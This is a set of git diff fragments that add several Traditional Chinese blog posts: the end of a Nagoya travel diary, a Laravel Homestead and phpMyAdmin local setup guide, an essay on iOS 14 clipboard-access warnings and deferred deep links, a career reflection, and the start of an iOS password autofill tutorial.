在地下街逛了一圈後往 JR GATE TOWER 走,上到 15F 的星巴克 有免費的風景可以看。

因為下雨外面的位子沒開放,裡面的位子爆滿,就沒有買一杯咖啡坐下來休息觀景了;拍了照片就開始拍了幾張照片就開始往下逛高島屋百貨,樓下有 Harbs 但需要排隊。

對面有一個 Sky Promenade 名古屋新的觀景台,但因為累、要再買門票、天氣不好就沒去了;查時間內還能去、有興趣的景點也沒了;最後就只一路往下逛逛到地下街買了些伴手禮(青蛙本家);就一樣買 名古屋鐵道 -> 中部國際機場 單程車票+uSky 列車 ($271) 回機場了。

時間還不到 PM 5:00 有點可惜。。。但要再去其他景點又太遠。。。又想說避開下班時間人潮。

第 9 個目的地:回名古屋中部國際機場亂逛

拍了一下 uSky 真身。

9/11 PM 16:44 — 抵達 中部國際機場第一航廈

23:15 飛機才飛,還有好長好長一段時間。

先買名古屋有名的手羽先嚐嚐。

NGO 機場有很多東西可以逛,除了裡面吃的喝的跟伴手禮,還有一個很大的觀景平台可以近距離看飛機起降!(第一航廈)

或先去第二航廈看免費的飛機博物館(我去的時候已經關門了)。

這邊還有 Lawson 跟扭蛋商店(但也是有營業時間)。

9/11 PM 19:30 — 中部國際機場第一航廈 吃晚餐

晚餐吃了機場的 名古屋烏龍麵 ,名古屋的特色麵條是扁的。

味道不錯,但不小心點成雙主食…他的豬排是豬排飯XD

吃飽繼續候機…等待櫃檯開放(20:45 開放)。

9/11 PM 20:45 — 中部國際機場第一航廈 出境手續

在角落咪了一下到 20:00 多時去排隊準備出境;聯航對手提行李檢查蠻嚴格的,規定就是兩件小於 7 公斤內,不會睜一隻眼閉一隻眼;有看到有人單純是去買一台 PS5 回來,好像也是個一日快閃目標的不錯選擇。

9/11 PM 21:45 — 中部國際機場第一航廈 逛免稅店、候機

我只有一個包包所以可以再手提一個,就順手再買了一瓶獺祭二割三分 750 ml 回台灣了。(5,700 日圓,比東京貴 100 日圓)

生可樂好喝,在超市或販賣機看到可以買來嘗試看看;它是 Suntory 跟百事一起推出的,台灣買不到,用做生啤的做法作可樂,氣泡感很足,不太有糖漿的膩,我喝一般可樂喝到後面都因為太膩倒掉,但生可樂我能喝完!

回到聯航手提行李檢查嚴格的部分,上機前會再檢查是不是只有兩件,不是的話會要你現場變成兩件或加價。

9/12 AM 00:09 — 中部國際機場第一航廈 起飛

因為班機延誤,原本預訂 23:15,延誤到 23:50;約 00:15 才起飛。

但很幸運分配到靠窗的位置,能好好睡一波了。

睡醒研究了一下機上設施,才發現航程資訊、娛樂影片,用手機連上機上 WiFi 就能查看、點餐也是可以直接用手機點。

有人點類似排骨雞麵的東西在吃,整個機艙都是香味,很邪惡。

9/12 AM 02:25 —抵達 桃園國際機場

還好因為靠窗,在機上有補眠一下;精神還算可以。

9/12 AM 03:30 抵達溫暖的台北住處

不得不說台灣交通很不方便,紅眼班機到桃園機場;就只能搭可怕的一口價計程車或很貴的 Uber 回台北;如果要搭乘公共運輸只能等凌晨 4–5 點的客運。

此行目的:搜集三大名城之一的名古屋城:

後來才知道名古屋還有犬山城可以去,如果重新安排應該會先去犬山城吧、還有鰻魚飯沒吃到!

更多遊記

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

POC App End-to-End Testing Local Snapshot API Mock Server

遊記 2023 九州 10 日自由行獨旅

diff --git a/posts/87090f101b9a/index.html b/posts/87090f101b9a/index.html new file mode 100644 index 000000000..c66d94d8b --- /dev/null +++ b/posts/87090f101b9a/index.html @@ -0,0 +1,447 @@ + 重灌筆記1-Laravel Homestead + phpMyAdmin 環境建置 | ZhgChgLi
Home 重灌筆記1-Laravel Homestead + phpMyAdmin 環境建置
Post
Cancel

重灌筆記1-Laravel Homestead + phpMyAdmin 環境建置

[重灌筆記1] -Laravel Homestead + phpMyAdmin 環境建置

從 0 到 1 建置 Laravel 開發環境並搭配 phpMyAdmin GUI 管理 MySql 資料庫

[Laravel](https://laravel.com/){:target="_blank"}

Laravel

最近把 Mac Reset 一遍,紀錄一下重新還原 Laravel 開發環境的步驟。

環境需求

下載、安裝完這兩個軟體後,繼續下一步設定。

VirtualBox 安裝時會要求要重新開機還有要到「設定」->「安全性與隱私權」->「Allow VirtualBox」才能啟用所有服務。

配置 Homestead 環境

1
+2
+3
+4
+
git clone https://github.com/laravel/homestead.git ~/Homestead
+cd ~/Homestead
+git checkout release
+bash init.sh
+

phpMyAdmin

phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。 — Wiki

phpMyAdmin 官網下載最新版本回來。

解壓縮 .zip -> 資料夾 -> 重新命名資料夾名稱 -> 「phpMyAdmin」:

phpMyAdmin 資料夾移動到 ~/Homestead 資料夾中:

phpMyAdmin 設定

phpMyAdmin 資料夾中找到 config.sample.inc.php ,將其改名為 config.inc.php ,並使用編輯器打開,修改成以下設定:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+
<?php
+/* vim: set expandtab sw=4 ts=4 sts=4: */
+/**
+ * phpMyAdmin sample configuration, you can use it as base for
+ * manual configuration. For easier setup you can use setup/
+ *
+ * All directives are explained in documentation in the doc/ folder
+ * or at <https://docs.phpmyadmin.net/>.
+ *
+ * @package PhpMyAdmin
+ */
+declare(strict_types=1);
+
+/**
+ * This is needed for cookie based authentication to encrypt password in
+ * cookie. Needs to be 32 chars long.
+ */
+$cfg['blowfish_secret'] = ''; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */
+
+/**
+ * Servers configuration
+ */
+$i = 0;
+
+/**
+ * First server
+ */
+$i++;
+/* Authentication type */
+$cfg['Servers'][$i]['auth_type'] = 'config';
+/* Server parameters */
+$cfg['Servers'][$i]['host'] = 'localhost';
+$cfg['Servers'][$i]['user'] = 'homestead';
+$cfg['Servers'][$i]['password'] = 'secret';
+$cfg['Servers'][$i]['compress'] = false;
+$cfg['Servers'][$i]['AllowNoPassword'] = false;
+
+/**
+ * phpMyAdmin configuration storage settings.
+ */
+
+/* User used to manipulate with storage */
+// $cfg['Servers'][$i]['controlhost'] = '';
+// $cfg['Servers'][$i]['controlport'] = '';
+// $cfg['Servers'][$i]['controluser'] = 'pma';
+// $cfg['Servers'][$i]['controlpass'] = 'pmapass';
+
+/* Storage database and tables */
+// $cfg['Servers'][$i]['pmadb'] = 'phpmyadmin';
+// $cfg['Servers'][$i]['bookmarktable'] = 'pma__bookmark';
+// $cfg['Servers'][$i]['relation'] = 'pma__relation';
+// $cfg['Servers'][$i]['table_info'] = 'pma__table_info';
+// $cfg['Servers'][$i]['table_coords'] = 'pma__table_coords';
+// $cfg['Servers'][$i]['pdf_pages'] = 'pma__pdf_pages';
+// $cfg['Servers'][$i]['column_info'] = 'pma__column_info';
+// $cfg['Servers'][$i]['history'] = 'pma__history';
+// $cfg['Servers'][$i]['table_uiprefs'] = 'pma__table_uiprefs';
+// $cfg['Servers'][$i]['tracking'] = 'pma__tracking';
+// $cfg['Servers'][$i]['userconfig'] = 'pma__userconfig';
+// $cfg['Servers'][$i]['recent'] = 'pma__recent';
+// $cfg['Servers'][$i]['favorite'] = 'pma__favorite';
+// $cfg['Servers'][$i]['users'] = 'pma__users';
+// $cfg['Servers'][$i]['usergroups'] = 'pma__usergroups';
+// $cfg['Servers'][$i]['navigationhiding'] = 'pma__navigationhiding';
+// $cfg['Servers'][$i]['savedsearches'] = 'pma__savedsearches';
+// $cfg['Servers'][$i]['central_columns'] = 'pma__central_columns';
+// $cfg['Servers'][$i]['designer_settings'] = 'pma__designer_settings';
+// $cfg['Servers'][$i]['export_templates'] = 'pma__export_templates';
+
+/**
+ * End of servers configuration
+ */
+
+/**
+ * Directories for saving/loading files from server
+ */
+$cfg['UploadDir'] = '';
+$cfg['SaveDir'] = '';
+
+/**
+ * Whether to display icons or text or both icons and text in table row
+ * action segment. Value can be either of 'icons', 'text' or 'both'.
+ * default = 'both'
+ */
+//$cfg['RowActionType'] = 'icons';
+
+/**
+ * Defines whether a user should be displayed a "show all (records)"
+ * button in browse mode or not.
+ * default = false
+ */
+//$cfg['ShowAll'] = true;
+
+/**
+ * Number of rows displayed when browsing a result set. If the result
+ * set contains more rows, "Previous" and "Next".
+ * Possible values: 25, 50, 100, 250, 500
+ * default = 25
+ */
+//$cfg['MaxRows'] = 50;
+
+/**
+ * Disallow editing of binary fields
+ * valid values are:
+ *   false    allow editing
+ *   'blob'   allow editing except for BLOB fields
+ *   'noblob' disallow editing except for BLOB fields
+ *   'all'    disallow editing
+ * default = 'blob'
+ */
+//$cfg['ProtectBinary'] = false;
+
+/**
+ * Default language to use, if not browser-defined or user-defined
+ * (you find all languages in the locale folder)
+ * uncomment the desired line:
+ * default = 'en'
+ */
+//$cfg['DefaultLang'] = 'en';
+//$cfg['DefaultLang'] = 'de';
+
+/**
+ * How many columns should be used for table display of a database?
+ * (a value larger than 1 results in some information being hidden)
+ * default = 1
+ */
+//$cfg['PropertiesNumColumns'] = 2;
+
+/**
+ * Set to true if you want DB-based query history.If false, this utilizes
+ * JS-routines to display query history (lost by window close)
+ *
+ * This requires configuration storage enabled, see above.
+ * default = false
+ */
+//$cfg['QueryHistoryDB'] = true;
+
+/**
+ * When using DB-based query history, how many entries should be kept?
+ * default = 25
+ */
+//$cfg['QueryHistoryMax'] = 100;
+
+/**
+ * Whether or not to query the user before sending the error report to
+ * the phpMyAdmin team when a JavaScript error occurs
+ *
+ * Available options
+ * ('ask' | 'always' | 'never')
+ * default = 'ask'
+ */
+//$cfg['SendErrorReports'] = 'always';
+
+/**
+ * You can find more configuration options in the documentation
+ * in the doc/ folder or at <https://docs.phpmyadmin.net/>.
+ */
+

主要是新增修改這三項設定:

1
+2
+
$cfg['Servers'][$i]['auth_type'] = 'config';
+$cfg['Servers'][$i]['user'] = 'homestead';
+

homestead 預設 mysql 帳號密碼 homestead / secret

配置 Homestead 設定

用編輯器打開 ~/Homestead/Homestead.yaml 設定檔。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+
---
+ip: "192.168.10.10"
+memory: 2048
+cpus: 2
+provider: virtualbox
+
+authorize: ~/.ssh/id_rsa.pub
+
+keys:
+    - ~/.ssh/id_rsa
+
+folders:
+    - map: ~/Projects/Web
+      to: /home/vagrant/code
+    - map: ~/Homestead/phpMyAdmin
+      to: /home/vagrant/phpMyAdmin
+
+sites:
+    - map: phpMyAdmin.test
+      to: /home/vagrant/phpMyAdmin
+
+databases:
+    - homestead
+
+features:
+    - mysql: false
+    - mariadb: false
+    - postgresql: false
+    - ohmyzsh: false
+    - webdriver: false
+
+#services:
+#    - enabled:
+#        - "postgresql@12-main"
+#    - disabled:
+#        - "postgresql@11-main"
+
+# ports:
+#     - send: 50000
+#       to: 5000
+#     - send: 7777
+#       to: 777
+#       protocol: udp
+
  • IP : 預設是 192.168.10.10 可改可不
  • provider :預設是 virtualbox ,如果用 Parallels 才需要改
  • folders: 新增 - map: ~/Homestead/phpMyAdmin to: /home/vagrant/phpMyAdmin
  • sites: 新增 - map: phpMyAdmin.test to: /home/vagrant/phpMyAdmin

如果已經有 Laravel 專案也可以一併在此新增,例如我專案都放在 ~/Projects/Web 下,所以我也先把目錄映射加上去。

sites 是設定本機虛擬網域與目錄映射,我們還需要修改本地 Hosts 檔增網域虛擬機映射:

使用 Finder -> Go -> /etc/hosts ,找到 hosts 檔案;複製到桌面(因無法直接修改)

網域名稱可隨意自訂,反正只有自己本機可以 Access。

打開複製出來的 Hosts 檔案,增加 sites 紀錄:

1
+
<homestead IP 位置> <網域名稱>
+

修改好之後儲存,然後再剪下貼回 /etc/hosts ,覆蓋掉即可。

安裝&啟動 Homestead Virtual Machine

1
+2
+
cd ~/Homestead
+vagrant up --provision
+

⚠️請注意 ,如果沒加 --provision 則設定檔不會更新,輸入網址會出現 no input file specified 錯誤。

第一次啟動,需要下載 Homestead 環境包,需要較長的時間。

如果沒有出現特別的錯誤即表示啟動成功,可以下:

1
+
vagrant ssh
+

ssh 進入虛擬機。

檢查 phpMyAdmin 是否正確連線

前往 http://phpmyadmin.test/ 檢查是否正常開啟。

成功!我們遇到要操作資料庫的地方,直接進來這邊修改即可。

新建 Laravel 專案

如果你有已存在的專案,到這一步已經可以從瀏覽器在本地運行了,如果沒有,這邊補充一下新建 Laravel 專案的方式。

1
+2
+
~/Homestead
+vagrant ssh
+

vagrant ssh 進 VM,然後 cd 到 code 目錄:

1
+
cd ./code
+

下 laravel new 專案名稱,建立 Laravel 專案:(以 blog 為例)

1
+
laravel new blog
+

blog 專案建立成功!

再來我們要將專案設定本機器存取測試網域:

回頭打開編輯 ~/Homestead/Homestead.yaml 設定檔。

sites 中新增一筆紀錄:

1
+2
+3
+
sites:
+  - map: myblog.test
+  to: /home/vagrant/code/blog/public
+

記得 hosts 也要加上對應紀錄:

1
+
192.168.10.10.   myblog.test
+

最後重啟 homestead:

1
+
vagrant reload --provision
+

在瀏覽器輸入 http://myblog.test 測試是否正確建立&運行:

完成!

補充 — Mac 安裝 Composer

雖然已經有用 Homestead 可以不需要另外裝 Composer,但考慮到有的 PHP 專案並不一定使用 Laravel 所以還是要在本機上安裝 Composer。

複製下載區段的指令,將 php composer-setup.php 替換為:

1
+
php composer-setup.php - install-dir=/usr/local/bin - filename=composer
+

Composer v2.0.9 範例:

1
+2
+3
+
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
+php -r "if (hash_file('sha384', 'composer-setup.php') === '756890a4488ce9024fc62c56153228907f1545c228516cbf63f885e036d37e9a59d27d63f46af1d4d07ee0f76181c7d3') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
+php composer-setup.php --install-dir=/usr/local/bin --filename=composer
+

並依序在 terminal 輸入指令。

⚠️請注意 ,不要直接複製使用以上範例,因為隨著 Composer 版本更新 hash check 碼也會跟著變。

輸入 composer -V 確認版本&安裝成功!

參考資料

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Universal Links 新鮮事

使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事

diff --git a/posts/8a04443024e2/index.html b/posts/8a04443024e2/index.html new file mode 100644 index 000000000..c2d402546 --- /dev/null +++ b/posts/8a04443024e2/index.html @@ -0,0 +1,43 @@ + iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難 | ZhgChgLi
Home iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難
Post
Cancel

iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難

iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難

為何那麼多 iOS APP 會讀取你的剪貼簿?

Photo by [Clint Patterson](https://unsplash.com/@cbpsc1?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Clint Patterson

⚠️ 2022/07/22 Update: iOS 16 Upcoming Changes

iOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。

[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"}

UIPasteBoard’s privacy change in iOS 16

議題

剪貼簿被 APP 讀取時的頂部提示訊息

剪貼簿被 APP 讀取時的頂部提示訊息

iOS 14 開始會提示使用者 APP 讀取了您的剪貼簿,尤其中國大陸的 APP 本來就惡名昭彰,再加上媒體不斷的放大報導,造成不小的隱私恐慌;但其實不只中國 APP, 美國 、台灣、日本…世界各地很多大大小小的 APP 全都現形,那到底是為了什麼那麼多 APP 都需要讀取剪貼簿呢?

Google Search

Google Search

安全

剪貼簿可能包含個人隱私甚至密碼,如使用 1Password、LastPass…等密碼管理器複製密碼;APP 有能力讀取到就有能力回傳回伺服器記錄,一切看開發者的良心,真要查的話可透過使用 中間人嗅探 ,監聽 APP 回傳回伺服器的資料,是否包含剪貼簿資訊。

淵源

剪貼簿 API ,從 iOS 3 2009 年開始就有,只是從 iOS 14 開始會多跳提示告知使用者而已,中間已過十餘年,如果是惡意的 APP 也收集夠足夠的資料了。

為何

為何那麼多 APP 不論國內外都會在 打開時 讀取剪貼簿呢?

這邊要先定義一下,我說的情況是 「APP 打開時」 ,而不是 APP 使用中讀取剪貼簿;APP 使用中讀取的情況比較偏是 APP 內的功能應用,像是 Goolge Map 自動貼上剛複製的地址、但也不排除有的 APP 會不斷偷取剪貼簿資訊。

「一把菜刀可以切菜也可以殺人,取決於用的人拿來做什麼」

APP 打開時會讀取剪貼簿主要原因是要做「 iOS Deferred Deep Link加強使用者體驗 ,如上流程所示;當一個產品同時提供網頁及APP時,我們更希望使用者能安裝 APP(因黏著度更高),所以當使用者瀏覽網頁版網站時會導引下載 APP,但我們希望下載完開啟 APP 會自動打開網頁離開時的頁面。

EX: 當我在 safari 逛 PxHome 手機網頁版 -> 看到喜歡的產品想要購買 -> PxHome 希望流量導 APP -> 下載 APP -> 打開 APP -> 展現剛網頁看到的商品

如果不這樣做,使用者只能 1. 回到網頁上再點一次 2. 在 APP 內重新搜尋一次產品;不管 1 還是 2 都會增加使用者購買上的困難及猶豫時間,可能就不買了!

另一方面以營運來說,知道從哪個來源成功安裝的統計,對行銷、廣告預算投放都有很大的幫助。

為何一定要用剪貼簿,有無其他替代方式?

這是場 貓鼠遊戲 ,因為 iOS 蘋果本身不希望開發者有辦法反向追蹤使用者來源,iOS 9 之前的做法是將資訊存入網頁 Cookie,APP 安裝完後再讀取 Cookie 出來用,iOS 10 之後這條路被蘋果封住無法使用;退無可退大家才使用最終技 — 「用剪貼簿傳資訊」來達成,iOS 14 再次遞出新招,提示使用者讓開發者尷尬。

另一條路是使用 Branch.io 的方式,記錄使用者輪廓(IP、手機資訊),然後用搓合的方式讀取資訊,原理上可行,但需要投入大量人力(牽涉到後端、資料庫、APP)去研究實作,且可能會誤判或碰撞。

*對面的 Android Google 原本就支援此功能,不用像 iOS 這樣繞來繞去。

受影響的 APP

可能很多 APP 開發者都不知道自己也出現剪貼簿隱私問題,因為 Google 的 Firebase Dynamic Links 服務也是使用同樣的原理實現:

1
+2
+3
+4
+5
+
// Reason for this string to ensure that only FDL links, copied to clipboard by AppPreview Page
+// JavaScript code, are recognized and used in copy-unique-match process. If user copied FDL to
+// clipboard by himself, that link must not be used in copy-unique-match process.
+// This constant must be kept in sync with constant in the server version at
+// durabledeeplink/click/ios/click_page.js
+

所以任何有使用到 Google Firebase Dynamic Links 服務的 APP 都可能中槍剪貼簿隱私問題!

個人觀點

資安問題是有的,但就是「 信任」 ,信任開發者是拿來做正確的事;如果開發者要做惡,有更多的地方可以做惡,例如:偷取信用卡資訊、偷記錄真實密碼…等等,都要比這個有效的多。

提示的用途就是讓使用者能注意到剪貼簿讀取的時間點,如果不合理就要小心!

讀者提問

Q:「TikTok 回應存取剪貼簿是為了偵測濫發垃圾訊息的行為」這種說法是正確的嗎?

A:我個人認為只是找個理由搪塞輿論,抖音的意思應該是「為了防止使用者四處複製貼上廣告訊息」;但實際可以在訊息輸入完成時或是送出訊息時再做阻擋過濾,沒必要時時監聽使用者剪貼簿的資訊!難道剪貼簿有廣告或「敏感」訊息也要管?我又沒貼上發表出去。

開發者能做的事

若手邊沒有備用機可升級 iOS 14 測試,可先從 Apple 下載 XCode 12 用模擬器測看看。

一切都還太新,如果你是串 Firebase 可以先參考 Firebase-iOS-SDK/Issue #5893 更新到最新的 SDK。

如果是自己實作 DeepLink 可以參考 Firebase-iOS-SDK #PR 5905 的修改:

1
+2
+3
+4
+5
+6
+7
+
if #available(iOS 10.0, *) {
+  if (UIPasteboard.general.hasURLs) {
+      //UIPasteboard.general.string
+  }
+} else {
+  //UIPasteboard.general.string
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+
if (@available(iOS 10.0, *)) {
+    if ([[UIPasteboard generalPasteboard] hasURLs]) {
+      //[UIPasteboard generalPasteboard].string;
+    }
+  } else {
+    //[UIPasteboard generalPasteboard].string;
+  }
+  return pasteboardContents;
+}
+

先檢查剪貼簿內容是否為網址(配合網頁 JavaScript 複製的內容是網址帶參數)是才讀取,就不會每次開啟 APP 都跳剪貼簿被讀取。

目前只能如此,提示跳還是會跳,就只是讓他更聚焦一點

另外蘋果也增加了新的 API: DetectPattern ,幫助開發者能更精確判斷剪貼簿資訊是我們要的,然後再讀取,再跳提示,使用者能更安心、開發者也能繼續使用此功能。

DetectPattern 也還在 Beta、且僅能使用 Objective-C 實作。

或是…

  • 改用 Branch.io
  • 自行實作 Branch.io 的原理
  • APP 先跳客製化 Alert 告知使用者,再讀取剪貼簿(讓使用者安心)
  • 加入新隱私權條款
  • iOS 14 最新的 App Clips?,網頁 -> 導 App Clips 輕量使用 -> 深入操作導 APP

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

現實使用 Codable 上遇到的 Decode 問題場景總匯(下)

Xcode 直接使用 Swift 撰寫 Run Script!

diff --git a/posts/8d863bcd1c55/index.html b/posts/8d863bcd1c55/index.html new file mode 100644 index 000000000..02de84e5e --- /dev/null +++ b/posts/8d863bcd1c55/index.html @@ -0,0 +1 @@ + 永遠保持探索新事物的熱忱 | ZhgChgLi
Home 永遠保持探索新事物的熱忱
Post
Cancel

永遠保持探索新事物的熱忱

永遠保持探索新事物的熱忱

從踏入資訊領域到轉戰iOS APP開發的人生契機

Bangkok 2018 - [Z Realm — 解決問題的道路上你並不孤單](https://medium.com/u/8854784154b8){:target="_blank"}

Bangkok 2018 - Z Realm — 解決問題的道路上你並不孤單

時間過得真快,從Back End轉跳開發Mobile iOS APP 滿一年、開始寫Medium也滿一個月,第10篇小小小里程碑就容我寫一篇自我突破轉換跑道心得。

永遠保持探索新事物的熱忱

「探索的本能促使人類偉大的成就」從古代哥倫布探索海洋發現新大陸、萊特兄弟改良飛機征服天空到現在離開地球探索外太空;唯有對新事物充滿熱忱才能不斷地超越自己,或許我們不能像阿姆斯壯偉大,但是如同他所說的「你的一小步,可能是人的一大步」不要低估自己的創造力才能.

契機

機會來的時候要好好把握,因為不能保證會有第二次;你可能會猶豫或許下一個更好或懼怕下了錯誤的決定,但是「Who know s ? 是太陽先升起還是意外先來臨 」如果沒有負面的影響那就張開雙手握住機會吧!

時間退回到2009年,剛進入彰工綜合高中就讀高一的我,在一次偶然的機會下得知學校有在培訓選手去參加比賽,當初的想法是「反正回家也沒事不如去學學東西」就去報名加入了;是我人生的第一個轉捩點,就此踏入資訊領域;加入選手培訓很辛苦,每天下課+六日+寒暑假三年的時間都在學校練習、風險也很高,沒比到名次就幾乎什麼都沒有;但就結果來說還好當時有把握住這個契機(選手一路走來的心路歷程以後再補上)

[全國技能競賽](https://sc.wdasec.gov.tw/home.jsp?pageno=201111010001){:target="_blank"} - 勞動部勞動力發展署

全國技能競賽 - 勞動部勞動力發展署

這個契機讓我學到了很多吃飯的技術,設計的illustrator/Photoshop/Flash、工程的PHP/Mysql/Html/CSS/Javascript/Jquery,並藉由比賽冠軍資格保送臺科大就讀;回頭來看,真的好險,好險有把握這個機會!

時間快轉到2017年大學畢業依然是以後端工程師的職務進入職場,對於做網頁這件事,大學開始主要專精於做後端(Laravel),前端的部分就沒什麼在研究了,都使用現成框架(Bootstrap/Semantic UI)

這時的瓶頸是在同個領域太久且一直沒有突破性的發展,所以當初給自己下了新的目標:

  1. 繼續深入探索後端
  2. 轉換行銷(GA)/企劃領域
  3. 學新語言/寫APP

這時候契機又出現,我加入的專案要開始開發移動平台應用;但起初我的設定是我去寫API後端,用Laravel加一些新技術對我也算是種突破;這邊要提到一件事,做決定時要把眼光放遠,當初預設選擇繼續後端的原因是惰性加上我覺得踏入的成本很高,因為那時沒有Mac再加上是一個全新的領域,還好有主管的提點,最終還是選擇踏入iOS APP開發.

2018年的現在,開發iOS APP剛好滿一年,收穫的部分:學習了新的語言Swift、iOS APP開發、自己寫的APP上架的成就感、開始寫Medium?;還好有把握住這個機會,等於為我的職涯又開了另一扇窗!

For工程的後端轉戰iOS APP開發的心得

「都是寫程式不都差不多?」隔行如隔山… 初期有人指點會比較快,因為很多觀念都跟網頁開發不太ㄧ樣,會經歷一陣子的撞牆期,要撐住!就能看到成功的曙光! 我自己也撞牆了快一個月,稍微有脈絡之後你會遇到 第二次撞牆期 ,這時候要越挫越勇,從錯誤中學習,用時間換經驗(如果你時間不夠建議去上入門課或找個師傅帶你)

  • 開發環境 :以往寫PHP我們用Sublime打一打,Ctrl+S然後Ctrl+Tab切換到瀏覽器Ctrl+R就能快速看到結果;現在要使用Xcode,然後部署到模擬器或手機上才看得到結果;這部分正好能改善我急性子的個性XD.
  • 語言部分 :Swift比較Morden、強型別、更有結構,一開始可能不太習慣,但用上手後就沒什麼問題了
  • Storyboard/Interface Builder :這部分降低新手的入門門檻,如果一開始就要用code刻畫面學習起來會更辛苦;可以直接視覺化玩轉UI、學習排版、拉拉Outlet
  • 記憶體跟頁面排版結構 :這是比較需要注意的項目,也是我說用時間換經驗的部分;以往做網頁沒有什麼極限,要做什麼就做什麼;就以表格來說,網頁就打<table>然後跑PHP迴圈把資料顯示出來,但在APP上就要使用UITableview元件來實作(想當初用UIView排出來然後很高興跟主管說我做好了!結果發現記憶體一個大爆炸) 其他還有記憶體洩漏的部分也要多注意!
  • 應用上線 :APP開發要更小心、測試要更細心;因為不像網頁能有錯就改,iOS APP上版本要經過審核、有BUG也不能降版,所以有BUG至少要花一天才能修復,對使用者影響很大!
  • 使用者評論 :使用者可給你最直接的評論

五顆星暖心、一顆心痛心

五顆星暖心、一顆心痛心

總結

[@returntothesources](http://returntothesources.blogspot.com/2015/02/life-is-like-box-of-chocolates.html){:target="_blank"}

@returntothesources

人生就是充滿不確定性才有趣,對於來到的機會,你選擇把握就會有所收穫;你選擇放手,下個機會或許更好,沒有什麼對或錯,總之相信自己的直覺「擇你所愛,愛你所擇」

給自己的期許

目前還很菜會持續在iOS APP開發上打滾,朝著未來學習、成長尋找突破點、保持寫Medium的習慣,下一個契機是什麼?我也很期待!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)

iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)

diff --git a/posts/948ed34efa09/index.html b/posts/948ed34efa09/index.html new file mode 100644 index 000000000..55546572f --- /dev/null +++ b/posts/948ed34efa09/index.html @@ -0,0 +1,137 @@ + iOS 跨平台帳號密碼整合加強登入體驗 | ZhgChgLi
Home iOS 跨平台帳號密碼整合加強登入體驗
Post
Cancel

iOS 跨平台帳號密碼整合加強登入體驗

iOS 跨平台帳號密碼整合,加強登入體驗

除 Sign in with Apple 也值得加入的功能

Photo by [Dan Nelson](https://unsplash.com/@danny144?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Dan Nelson

功能

在同時有網站又有 APP 的服務中最常遇到的問題就是使用者在網站登入註冊過,且有記憶密碼;但被引導安裝 APP 後,打開登入要從頭輸入帳號密碼非常不方便;此功能就是能將已存在在手機的帳號密碼自動帶入到與網站關聯的 APP 之中,加速使用者登入流程。

效果圖

不囉唆,先上完成效果圖;第一眼看到可能會以為是 iOS ≥ 11 Password AutoFill 功能;不過請您仔細看,鍵盤並沒有跳出來,而且我是點擊「選擇已存密碼」按鈕才跳出帳號密碼選擇視窗的。

既然提到了 Password AutoFill 那就先讓我賣個關子,先介紹 Password AutoFill 和如何設置吧!

Password AutoFill

支援度:iOS ≥ 11

到如今已經 iOS 14 了,這個功能已經非常常見沒什麼特別的;在 APP 中的帳號密碼登入頁,叫出鍵盤輸入時可以快速選擇網站版服務的帳號密碼,選擇後就能自動帶入,快速登入!

那麼 APP 與 Web 之間是如何相認的呢?

Associated Domains!我們在 APP 中指定 Associated Domains 並在網站上上傳 apple-app-site-association 檔案,兩邊就能相認。

1.在專案設定中的「Signing & Capabilities」-> 左上「+ Capabilities」->「Associated Domains」

新增 webcredentials:你的網站域名 (ex: webcredentials:google.com )。

2.進入 蘋果開發者後台

在「 Membership 」Tab 地方記錄下「 Team ID

3.進入「Certificates, Identifiers & Profiles」->「Identifiers」-> 找到你的專案 -> 打開「Associated Domains」功能

APP 端設定完成!

4.Web網站端設定

建立一個名為「 apple-app-site-association 」的檔案(無副檔名),使用文字編輯器編輯,並輸入以下內容:

1
+2
+3
+4
+5
+6
+7
+
{
+  "webcredentials": {
+    "apps": [
